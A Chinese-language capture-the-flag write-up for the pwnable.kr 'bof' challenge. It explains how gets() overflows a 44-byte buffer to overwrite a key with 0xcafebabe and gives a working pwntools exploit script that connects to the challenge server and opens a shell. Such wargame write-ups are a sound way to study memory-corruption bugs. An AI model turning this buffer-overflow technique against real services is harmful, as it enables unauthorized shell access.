pwnable.kr bof

思路

-檢查main函數(shù)調(diào)用了什么

main.png

-func函數(shù)實現(xiàn)了什么功能


func.png
func匯編.png

-如何使key==0xcafebabe,調(diào)用system(“/bin/sh”)

做法

-看到調(diào)用了gets,使用命令man查看gets函數(shù)定義,可知gets是讀取一整行的字符直到結(jié)束換行


man gets.png

-看到字符s(即數(shù)組overflows)的大小為-2CH,因此我們的目的是將44(2C)填滿,并且讓我們的key也被覆蓋,改變?yōu)?xcafebabe。
-由匯編的比較我們知道是arg_0與cafebabe比較


cmp.png

-我們可以知道arg_0的位置在+0x8

-因此總的覆蓋范圍應(yīng)該從-2CH到+08H,一共52個字節(jié)

from pwn import*

pwn= remote("pwnable.kr",9000)

junk="a"*0x2c + "a"*0x4 + "b"*0x4
junk+=p32(0xcafebabe)

pwn.sendline(junk)
pwn.interactive()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容